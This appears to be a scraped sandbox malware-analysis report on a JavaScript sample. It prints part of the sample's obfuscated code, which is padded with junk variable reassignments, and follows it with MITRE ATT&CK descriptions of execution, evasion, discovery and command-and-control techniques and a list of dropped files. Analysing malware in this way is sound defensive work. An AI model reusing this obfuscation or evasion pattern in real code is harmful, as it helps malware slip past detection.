601	weprhujmn = "q";
602	weprhujmn = "q";
603	weprhujmn = "b";
604	weprhujmn = "g";
605	weprhujmn = "R";
606	weprhujmn = "y";
607	weprhujmn = "p";
608	weprhujmn = "Q";
609	weprhujmn = "G";
610	weprhujmn = "Q";
611	weprhujmn = "D";
612	weprhujmn = "m";
613	weprhujmn = "m";
614	weprhujmn = "m";
615	weprhujmn = "i";
616	weprhujmn = "R";
617	weprhujmn = "z";
618	weprhujmn = "p";
619	weprhujmn = "B";
620	weprhujmn = "s";
621	weprhujmn = "l";
622	weprhujmn = "U";
623	weprhujmn = "E";
624	ksrys = "i";
625	ksrys = "D";
626	ksrys = "C";
627	ksrys = "R";
628	ksrys = "B";
629	ksrys = "s";
630	ksrys = "e";
631	ksrys = "I";
632	ksrys = "V";
633	ksrys = "a";
634	ksrys = "c";
635	ksrys = "Q";
636	ksrys = "I";
637	ksrys = "f";
638	ksrys = "o";
639	ksrys = "U";
640	ksrys = "r";
641	gyxyoafpf = "z";
642	gyxyoafpf = "G";
643	gyxyoafpf = "J";
644	gyxyoafpf = "d";
645	gyxyoafpf = "p";
646	gyxyoafpf = "H";
647	gyxyoafpf = "x";
648	gyxyoafpf = "P";
649	gyxyoafpf = "r";
650	gyxyoafpf = "z";
651	gyxyoafpf = "A";
652	gyxyoafpf = "x";
653	gyxyoafpf = "R";
654	gyxyoafpf = "W";
655	gyxyoafpf = "P";
656	gyxyoafpf = "z";
657	gyxyoafpf = "a";
658	gyxyoafpf = "X";
659	gyxyoafpf = "e";
660	gyxyoafpf = "d";
661	gyxyoafpf = "n";
662	gyxyoafpf = "s";
663	gyxyoafpf = "z";
664	gyxyoafpf = "s";
665	gyxyoafpf = "y";
666	gyxyoafpf = "l";
667	gyxyoafpf = "S";
668	gyxyoafpf = "Y";
669	gyxyoafpf = "z";
670	gyxyoafpf = "Y";
671	gyxyoafpf = "a";
672	gyxyoafpf = "d";
673	gyxyoafpf = "R";
674	gyxyoafpf = "X";
675	gyxyoafpf = "k";
676	gyxyoafpf = "Y";
677	gyxyoafpf = "z";
678	gyxyoafpf = "l";
679	gyxyoafpf = "F";
680	gyxyoafpf = "e";
681	vakxah = "W";
682	vakxah = "e";
683	vakxah = "b";
684	vakxah = "F";
685	vakxah = "j";
686	vakxah = "S";
687	vakxah = "j";
688	vakxah = "N";
689	vakxah = "q";
690	vakxah = "d";
691	vakxah = "C";
692	vakxah = "H";
693	vakxah = "A";
694	vakxah = "s";
695	vakxah = "e";
696	vakxah = "l";
697	vakxah = "p";
698	vakxah = "Z";
699	vakxah = "X";
700	vakxah = "w";
701	vakxah = "K";
702	vakxah = "B";
703	vakxah = "A";
704	vakxah = "c";
705	vakxah = "T";
706	vakxah = "n";
707	vakxah = "I";
708	vakxah = "q";
709	vakxah = "O";
710	vakxah = "Z";
711	vakxah = "f";
712	vakxah = "e";
713	vakxah = "K";
714	vakxah = "K";
715	vakxah = "Y";
716	vakxah = "L";
717	vakxah = "T";
718	vakxah = "e";
719	vakxah = "v";
720	vakxah = "a";
721	vakxah = "j";
722	vakxah = "2";
723	omblurb = "u";
724	omblurb = "x";
725	omblurb = "e";
726	omblurb = "A";
727	omblurb = "M";
728	omblurb = "l";
729	omblurb = "T";
730	omblurb = "X";
731	omblurb = "p";
732	omblurb = "j";
733	omblurb = "1";
734	lfbroxox = "T";
735	dtezfv = "p";
736	dtezfv = "g";
737	dtezfv = "i";
738	dtezfv = "L";
739	dtezfv = "i";
740	dtezfv = "I";
741	yqtubp = "s";
742	yqtubp = "M";
743	yqtubp = "X";
744	yqtubp = "g";
745	yqtubp = "Y";
746	yqtubp = "k";
747	yqtubp = "b";
748	yqtubp = "i";
749	yqtubp = "B";
750	yqtubp = "t";
751	yqtubp = "F";
752	yqtubp = "P";
753	yqtubp = "v";
754	yqtubp = "k";
755	yqtubp = "f";
756	yqtubp = "J";
757	yqtubp = "r";
758	yqtubp = "i";
759	yqtubp = "k";
760	yqtubp = "N";
761	blyqcd = "Q";
762	blyqcd = "r";
763	blyqcd = "t";
764	blyqcd = "S";
765	blyqcd = "L";
766	blyqcd = "f";
767	blyqcd = "k";
768	mamzmms = "p";
769	mamzmms = "h";
770	mamzmms = "Q";
771	mamzmms = "D";
772	mamzmms = "R";
773	mamzmms = "G";
774	mamzmms = "X";
775	mamzmms = "W";
776	mamzmms = "V";
777	mamzmms = "D";
778	mamzmms = "j";
779	mamzmms = "v";
780	mamzmms = "z";
781	mamzmms = "L";
782	mamzmms = "X";
783	mamzmms = "g";
784	mamzmms = "n";
785	mamzmms = "q";
786	mamzmms = "B";
787	mamzmms = "n";
788	mamzmms = "N";
789	mamzmms = "P";
790	awupwqn = "N";
791	awupwqn = "y";
792	awupwqn = "w";
793	awupwqn = "R";
794	awupwqn = "R";
795	awupwqn = "I";
796	awupwqn = "S";
797	awupwqn = "F";
798	awupwqn = "E";
799	awupwqn = "Y";
800	awupwqn = "O";
801	awupwqn = "w";
802	awupwqn = "T";
803	awupwqn = "N";
804	awupwqn = "t";
805	awupwqn = "p";
806	awupwqn = "r";
807	awupwqn = "L";
808	awupwqn = "N";
809	awupwqn = "P";
810	awupwqn = "l";
811	awupwqn = "H";
812	awupwqn = "L";
813	awupwqn = "w";
814	awupwqn = "b";
815	awupwqn = "h";
816	awupwqn = "I";
817	awupwqn = "O";
818	awupwqn = "E";
819	awupwqn = "k";
820	awupwqn = "K";
821	awupwqn = "T";
822	awupwqn = "D";
823	awupwqn = "B";
824	awupwqn = "5";
825	nmomhvefs = "a";
826	nmomhvefs = "A";
827	nmomhvefs = "L";
828	nmomhvefs = "K";
829	nmomhvefs = "s";
830	nmomhvefs = "C";
831	nmomhvefs = "P";
832	nmomhvefs = "C";
833	nmomhvefs = "o";
834	nmomhvefs = "G";
835	nmomhvefs = "E";
836	nmomhvefs = "c";
837	nmomhvefs = "O";
838	nmomhvefs = "j";
839	nmomhvefs = "Z";
840	nmomhvefs = "p";
841	nmomhvefs = "G";
842	nmomhvefs = "v";
843	nmomhvefs = "u";
844	nmomhvefs = "o";
845	nmomhvefs = "V";
846	nmomhvefs = "A";
847	nmomhvefs = "D";
848	nmomhvefs = "B";
849	nmomhvefs = "p";
850	bkysesxcp = "U";
851	bkysesxcp = "S";
852	bkysesxcp = "k";
853	bkysesxcp = "P";
854	bkysesxcp = "J";
855	bkysesxcp = "j";
856	bkysesxcp = "p";
857	bkysesxcp = "k";
858	bkysesxcp = "R";
859	bkysesxcp = "M";
860	bkysesxcp = "H";
861	bkysesxcp = "U";
862	bkysesxcp = "I";
863	bkysesxcp = "G";
864	bkysesxcp = "n";
865	bkysesxcp = "e";
866	bkysesxcp = "p";
867	bkysesxcp = "i";
868	bkysesxcp = "d";
869	bkysesxcp = "f";
870	bkysesxcp = "b";
871	bkysesxcp = "@";
872	azifbb = "Q";
873	azifbb = "e";
874	azifbb = "y";
875	azifbb = "n";
876	azifbb = "O";
877	azifbb = "g";
878	azifbb = "j";
879	azifbb = "a";
880	azifbb = "Z";
881	azifbb = "F";
882	azifbb = "r";
883	azifbb = "l";
884	azifbb = "y";
885	azifbb = "L";
886	azifbb = "p";
887	azifbb = "j";
888	azifbb = "\"";
889	hyisooja = "v";
890	hyisooja = "Q";
891	hyisooja = "C";
892	hyisooja = "C";
893	hyisooja = "k";
894	hyisooja = "j";
895	hyisooja = "i";
896	hyisooja = "Q";
897	hyisooja = "K";
898	hyisooja = "F";
899	hyisooja = "Z";
900	hyisooja = "n";
901	hyisooja = "E";
902	hyisooja = "q";
903	hyisooja = "o";
904	hyisooja = "m";
905	hyisooja = "o";
906	hyisooja = "f";
907	hyisooja = "G";
908	hyisooja = "w";
909	hyisooja = "N";
910	hyisooja = "d";
911	hyisooja = "F";
912	hyisooja = "m";
913	hyisooja = "o";
914	hyisooja = "y";
915	hyisooja = "w";
916	hyisooja = "Z";
917	hyisooja = "d";
918	eobmqbqc = "u";
919	eobmqbqc = "U";
920	eobmqbqc = "W";
921	eobmqbqc = "j";
922	eobmqbqc = "h";
923	eobmqbqc = "u";
924	eobmqbqc = "O";
925	eobmqbqc = ".";
926	zeiioxfz = "3";
927	kgjngdx = "V";
928	kgjngdx = "s";
929	kgjngdx = "K";
930	kgjngdx = "w";
931	kgjngdx = ":";
932	feqbmz = "U";
933	feqbmz = "E";
934	feqbmz = "K";
935	feqbmz = "k";
936	feqbmz = "O";
937	feqbmz = "R";
938	feqbmz = "J";
939	feqbmz = "U";
940	feqbmz = "U";
941	feqbmz = "a";
942	feqbmz = "C";
943	feqbmz = "c";
944	feqbmz = "s";
945	feqbmz = "Y";
946	feqbmz = "Q";
947	feqbmz = "f";
948	feqbmz = "e";
949	feqbmz = "h";
950	feqbmz = "h";
951	feqbmz = "u";
952	feqbmz = "s";
953	feqbmz = "j";
954	feqbmz = "M";
955	feqbmz = "\\";
956	bscukmsdt = "S";
957	bscukmsdt = "D";
958	bscukmsdt = "p";
959	bscukmsdt = "b";
960	bscukmsdt = "y";
961	bscukmsdt = "F";
962	bscukmsdt = "P";
963	bscukmsdt = "C";
964	bscukmsdt = "o";
965	ycihezv = "T";
966	ycihezv = "A";
967	ycihezv = "d";
968	ycihezv = "F";
969	ycihezv = "l";
970	ycihezv = "c";
971	siouz = "e";
972	siouz = "O";
973	siouz = "l";
974	siouz = "R";
975	siouz = "i";
976	siouz = "S";
977	siouz = "I";
978	siouz = "t";
979	siouz = "C";
980	siouz = "B";
981	siouz = "Z";
982	siouz = "k";
983	siouz = "q";
984	siouz = "v";
985	siouz = "s";
986	siouz = "Q";
987	siouz = "l";
988	siouz = "f";
989	siouz = "u";
990	siouz = "U";
991	siouz = "R";
992	siouz = "j";
993	xmdkswjjp = "h";
994	xmdkswjjp = "l";
995	xmdkswjjp = "j";
996	xmdkswjjp = "T";
997	xmdkswjjp = "e";
998	xmdkswjjp = "y";
999	xmdkswjjp = "W";
1000	xmdkswjjp = "o";
1001	xmdkswjjp = "g";
1002	xmdkswjjp = "C";
1003	xmdkswjjp = "S";
1004	xmdkswjjp = "t";
1005	xmdkswjjp = "w";
1006	xmdkswjjp = "S";
1007	xmdkswjjp = "u";
1008	xmdkswjjp = "Q";
1009	xmdkswjjp = "f";
1010	xmdkswjjp = "p";
1011	xmdkswjjp = "h";
1012	xmdkswjjp = "P";
1013	xmdkswjjp = "c";
1014	xmdkswjjp = "C";
1015	xmdkswjjp = "I";
1016	xmdkswjjp = "Y";
1017	xmdkswjjp = "K";
1018	xmdkswjjp = "d";
1019	xmdkswjjp = "V";
1020	xmdkswjjp = "k";
1021	xmdkswjjp = "g";
1022	xmdkswjjp = "t";
1023	xmdkswjjp = "C";
1024	xmdkswjjp = "u";
1025	xmdkswjjp = "W";
1026	aouvtoz = "n";
1027	aouvtoz = "E";
1028	aouvtoz = "Z";
1029	aouvtoz = "J";
1030	aouvtoz = "N";
1031	aouvtoz = "l";
1032	aouvtoz = "o";
1033	aouvtoz = "k";
1034	aouvtoz = "V";
1035	aouvtoz = "f";
1036	aouvtoz = "W";
1037	aouvtoz = "C";
1038	aouvtoz = "h";
1039	aouvtoz = "V";
1040	aouvtoz = "v";
1041	aouvtoz = "d";
1042	aouvtoz = "h";
1043	aouvtoz = "E";
1044	aouvtoz = "B";
1045	aouvtoz = "d";
1046	aouvtoz = "O";
1047	aouvtoz = "M";
1048	aouvtoz = "d";
1049	aouvtoz = "C";
1050	aouvtoz = "y";
1051	aouvtoz = "K";
1052	aouvtoz = "J";
1053	aouvtoz = "L";
1054	aouvtoz = "i";
1055	aouvtoz = "6";
1056	piouauv = "E";
1057	piouauv = "R";
1058	piouauv = "U";
1059	piouauv = "k";
1060	piouauv = "E";
1061	piouauv = "e";
1062	piouauv = "U";
1063	piouauv = "E";
1064	piouauv = "a";
1065	piouauv = "t";
1066	piouauv = "c";
1067	piouauv = "e";
1068	piouauv = "j";
1069	piouauv = "A";
1070	piouauv = "r";
1071	piouauv = "b";
1072	piouauv = "y";
1073	piouauv = "H";
1074	piouauv = "H";
1075	piouauv = "D";
1076	piouauv = "S";
1077	piouauv = "M";
1078	piouauv = "h";
1079	piouauv = "S";
1080	piouauv = "A";
1081	piouauv = "k";
1082	piouauv = "U";
1083	vvrig = "B";
1084	vvrig = "O";
1085	vvrig = "H";
1086	vvrig = "c";
1087	vvrig = "K";
1088	vvrig = "h";
1089	vvrig = "U";
1090	vvrig = "t";
1091	iwvfpbb = "M";
1092	iwvfpbb = "C";
1093	iwvfpbb = "M";
1094	iwvfpbb = "d";
1095	iwvfpbb = "D";
1096	iwvfpbb = "L";
1097	iwvfpbb = "F";
1098	iwvfpbb = "H";
1099	iwvfpbb = "V";
1100	iwvfpbb = "U";
1101	iwvfpbb = "e";
1102	iwvfpbb = "Y";
1103	iwvfpbb = "m";
1104	iwvfpbb = "m";
1105	iwvfpbb = "b";
1106	iwvfpbb = "O";
1107	iwvfpbb = "h";
1108	iwvfpbb = "z";
1109	iwvfpbb = "p";
1110	iwvfpbb = "w";
1111	iwvfpbb = "o";
1112	iwvfpbb = "A";
1113	iwvfpbb = "K";
1114	iwvfpbb = "X";
1115	iwvfpbb = "B";
1116	iwvfpbb = "Z";
1117	iwvfpbb = "R";
1118	iwvfpbb = "y";
1119	iwvfpbb = "l";
1120	iwvfpbb = "I";
1121	iwvfpbb = "d";
1122	iwvfpbb = "m";
1123	iwvfpbb = "h";
1124	lpfopz = "I";
1125	lpfopz = "P";
1126	lpfopz = "m";
1127	lpfopz = "V";
1128	lpfopz = "h";
1129	lpfopz = "X";
1130	lpfopz = "z";
1131	lpfopz = "q";
1132	lpfopz = "k";
1133	lpfopz = "m";
1134	lpfopz = "m";
1135	lpfopz = "l";
1136	lpfopz = "i";
1137	lpfopz = "I";
1138	lpfopz = "J";
1139	lpfopz = "A";
1140	lpfopz = "m";
1141	lpfopz = "f";
1142	lpfopz = "P";
1143	lpfopz = "v";
1144	lpfopz = "g";
1145	lpfopz = "w";
1146	lpfopz = "i";
1147	lpfopz = "W";
1148	lpfopz = "R";
1149	lpfopz = "t";
1150	lpfopz = "l";
1151	lpfopz = "l";
1152	jliuhpady = "S";
1153	jliuhpady = "s";
1154	jliuhpady = "L";
1155	jliuhpady = "W";
1156	jliuhpady = "Z";
1157	jliuhpady = "u";
1158	jliuhpady = "g";
1159	oasbc = "v";
1160	oasbc = "V";
1161	oasbc = "N";
1162	oasbc = "z";
1163	oasbc = "R";
1164	oasbc = "N";
1165	oasbc = "x";
1166	oasbc = "C";
1167	oasbc = "R";
1168	oasbc = "N";
1169	oasbc = "i";
1170	oasbc = "M";
1171	oasbc = "s";
1172	oasbc = "c";
1173	oasbc = "y";
1174	oasbc = "V";
1175	oasbc = "a";
1176	oasbc = " ";
1177	ykliepl = "V";
1178	ykliepl = "s";
1179	ykliepl = "L";
1180	hmrmni = "x";
1181	hmrmni = "w";
1182	hmrmni = "j";
1183	hmrmni = "J";
1184	hmrmni = "B";
1185	hmrmni = "y";
1186	hmrmni = "D";
1187	hmrmni = "M";
1188	hmrmni = "C";
1189	hmrmni = "a";
1190	hmrmni = "S";
1191	hmrmni = "s";
1192	piexojvu ( );	piexojvu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 620128062590131002.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\944ff236-cf19-46ee-8128-fac132b6de31.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6744

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
620128062590131002.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre